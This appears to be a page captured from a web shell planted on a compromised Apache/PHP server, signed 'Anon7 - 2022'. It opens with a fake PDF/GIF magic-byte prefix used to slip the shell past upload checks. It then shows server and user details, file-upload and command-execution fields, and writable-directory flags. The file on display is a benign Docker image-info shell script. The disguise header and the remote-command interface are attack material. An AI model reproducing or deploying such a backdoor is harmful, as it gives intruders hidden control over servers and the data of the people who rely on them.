%PDF-1.7 GIF89;
shell
Server IP : 172.66.157.178  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/local/bin/docker-image-info
#!/bin/sh

set -o nounset   ## set -u : exit the script if you try to use an uninitialised variable
set -o errexit   ## set -e : exit the script if any statement returns a non-true return value

help() {
    if [ -n "$1" ]; then
        echo "$1"
        echo ""
    fi

    echo "Usage: $0 <argument>"
    echo ""
    echo "  Application arguments:"
    echo "         family    Get distribution family"
    echo "           dist    Get distribution name"
    echo "   dist-version    Get distribution version"
    echo "   dist-release    Get distribution release"
    echo "  dist-codename    Get distribution codename"
    echo "            lsb    Get lsb informations (if available)"
    echo "       lsb-desc    Get lsb description (if available)"
    echo "      buildtime    Get buildtime of docker image"
    echo ""

    exit $2

}

if [ "$#" -ne 1 ]; then
        help "[ERROR] Invalid argument" 1
fi

INFO_FILE=""

case "$1" in
    dist-family|distribution-family|family)
        INFO_FILE=/opt/docker/etc/.registry/image_info_distribution_family
        ;;

    dist|distribution)
        INFO_FILE=/opt/docker/etc/.registry/image_info_distribution
        ;;

    dist-version|distribution-version)
        INFO_FILE=/opt/docker/etc/.registry/image_info_distribution_version
        ;;

    dist-release|distribution-release)
        INFO_FILE=/opt/docker/etc/.registry/image_info_lsb_release
        ;;

    dist-codename|distribution-codename)
        INFO_FILE=/opt/docker/etc/.registry/image_info_lsb_codename
        ;;

    lsb)
        INFO_FILE=/opt/docker/etc/.registry/image_info_lsb
        ;;

    lsb-desc|lsb-description)
        INFO_FILE=/opt/docker/etc/.registry/image_info_lsb_description
        ;;

    buildtime)
        INFO_FILE=/opt/docker/etc/.registry/image_info_buildtime
        ;;

    help)
        help "" 0
        ;;

    *)
        help "[ERROR] Invalid argument" 1
        ;;
esac

if [ -n "$INFO_FILE" ]; then
    if [ -f "$INFO_FILE" ]; then
        cat -- "$INFO_FILE"
    else
        echo "[ERROR] Infomation file $INFO_FILE not found!"
        echo "        Please run generate-dockerimage-info on docker image creation!"
        exit 2
    fi
else
    help "" 1
fi

Anon7 - 2022
SCDN GOK